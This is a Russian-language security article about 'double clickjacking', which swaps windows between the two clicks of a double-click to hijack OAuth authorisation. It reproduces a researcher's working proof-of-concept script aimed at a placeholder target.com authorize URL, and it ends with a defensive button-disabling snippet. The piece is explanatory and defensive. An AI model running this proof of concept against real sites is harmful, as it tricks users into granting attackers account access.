Кликджекинг (подделка UI) — известный приём обмана пользователей интернета, когда поверх видимой страницы располагается невидимый слой, куда загружается фальшивка. То есть пользователю кажется, что он вводит пароль на доверенной странице, но на самом деле вводит его в стороннюю форму, которая принадлежит злоумышленнику.
В последние годы его риск значительно снизился, потому что все браузеры по умолчанию запретили межсайтовые куки, в то время как самые опасные варианты использования требуют авторизации жертвы на целевом сайте.
Однако несколько месяцев назад в Сети впервые замечены случаи
кликджекинга по двойному щелчку. Вредоносные действия выполняются в промежутке между первым и вторым кликами незаметно для жертвы. Более продвинутая версия атаки работает практически на всех сайтах и в любых браузерах.
В данном случае вместо одиночного нажатия мышки обрабатывается двойное нажатие. Хотя это может показаться незначительным изменением, оно открывает двери для новых способов манипулирования UI, которые обходят все известные средства защиты от кликджекинга, включая HTTP-заголовок
X-Frame-Options
(не загружать фрейм из другого источника), фреймы-анкесторы Content Security Policy (CSP) и атрибут
SameSite: Lax/Strict
для куков.
Схематично двойной кликджекинг работает следующим образом:
- Злоумышленник создаёт начальную веб-страницу с кнопкой, открывающей новое окно (или просто открывающей новое окно без участия пользователя).
- Когда пользователь нажимает на эту кнопку:
- Сверху открывается новое окно, где предлагается «дважды щёлкнуть» по ссылке или кнопке.
- Это новое окно немедленно заменяет родительское окно на целевую страницу с помощью
window.opener.location
.
- Родительское окно теперь содержит целевую страницу (например, авторизацию OAuth), а верхнее окно по-прежнему показывает приглашение к двойному щелчку.
- Когда пользователь пытается выполнить запрошенное двойное нажатие:
- Первый клик (срабатывает на
mousedown
) закрывает верхнее окно.
- Второй щелчок приходится на открытую кнопку авторизации в родительском окне.
- Пользователь неосознанно авторизует приложение злоумышленника в своей учётной записи с произвольными полномочиями.
Специалист по безопасности Паулоc Йибело (Paulos Yibelo)
приводит фрагмент кода, который можно использовать для проверки работоспособности этого класса уязвимостей:
<script>
function openDoubleWindow(url, top, left, width, height) {
var evilWindow = window.open(window.location.protocol+"//"+
window.location.hostname+":"+
window.location.port+"/random",
"_blank");
evilWindow.onload = function() {
evilWindow.document.open();
//plugs the page to be hijacked as opener returnee
evilWindow.document.write(`
<script>
setTimeout(function() {
opener.location = "${url}";
}, 1000);
</scri`+`pt>
<div id="doubleclick" type="button" class="button"
style="top: ${top}px; left: ${left}px; width: ${width}px; height: ${height}px; position: absolute; font-size: 16px; color: white; background-color: #3498db; box-shadow: 5px 5px 10px rgba(0, 0, 0, 0.3); display: flex; justify-content: center; align-items: center; font-weight: bold; text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.3); cursor: pointer; border-radius: 20px; text-align: center; padding: 0 5px; transition: all 0.3s ease;" onmouseover="this.style.backgroundColor='#2980b9'; this.style.boxShadow='6px 6px 12px rgba(0, 0, 0, 0.4)'; this.style.transform='scale(1.05)';"
onmouseout="this.style.backgroundColor='#3498db'; this.style.boxShadow='5px 5px 10px rgba(0, 0, 0, 0.3)'; this.style.transform='scale(1)';">Double Click Here</div>
<script>
document.getElementById('doubleclick').addEventListener('mousedown', function() {
window.close();
});
</scr`+`ipt>`);
evilWindow.document.close();
};
}
</script>
<!-- Replace value's below with the URL and top, left, width, height of a button you want to doublejack with -->
<button onclick="openDoubleWindow('https://target.com/oauth2/authorize?client_id=attacker',647, 588.5, 260, 43)">Start Demo</button>
Другими словами, злоумышленник просто переключает окна в промежуток между первым и вторым щелчком мыши, так что второе нажатие незаметно для пользователя уходит в другое окно.
Пользователя несложно обмануть. Новое окно может открываться на вполне законных основаниях — например, для «проверки капчи». Затем непосредственно перед вторым нажатием вредоносный сайт быстро подменяет окно с капчей другим окном из той же сессии браузера с приватной информацией (например, запросом авторизации OAuth), эффективно перехватывая второй клик. Существует множество способов выполнить подмену. Например, один из надёжных варианто использует
window.open.location
.
Одна из важных составляющих атаки — использование промежутка времени между событиями
mousedown
и
onclick
(предпочтение отдаётся первому). Событие
mousedown
срабатывает сразу, когда пользователь нажимает кнопку мыши, в то время как событие
onclick
ожидает ждёт полного двойного нажатия. Поэтому есть задержка в несколько миллисекунд, которые используются для атаки.
Атака на примере
перехвата учётной записи Slack:
Для защиты от двойного кликджекинга на стороне клиента рекомендуют простой и эффективный метод — по умолчанию отключить критические кнопки, если не обнаружен жест (например, перемещение мыши или использование клавиатуры). Это делает следующий код:
(function(){
if (window.matchMedia && window.matchMedia("(hover: hover)").matches) {
var buttons = document.querySelectorAll('form button, form input[type="submit"]');
buttons.forEach(button => button.disabled = true);
function enableButtons() {
buttons.forEach(button => button.disabled = false);
}
document.addEventListener("mousemove", enableButtons);
document.addEventListener("keydown", e => {
if(e.key === "Tab") enableButtons();
});
}
})();
Похоже, эта техника затрагивает практически все веб-сайты, что может привести к краже учётных записей на многих платформах, предупреждают специалисты по безопасности, поэтому лучше не пренебрегать защитными методами. На стороне приложения — реализовать код, подобный вышеуказанному. На стороне конечного пользователя — не выполнять двойное нажатие после авторизации на каком-либо сайте.
Техника работает не только на веб-сайтах, но также в браузерных расширениях (например, в криптокошельках) и на смартфонах. При этом не имеет значения, насколько быстро пользователь делает двойной щелчок — код в первую очередь выполнит
mousedown
, а потом событие по двойному щелчку.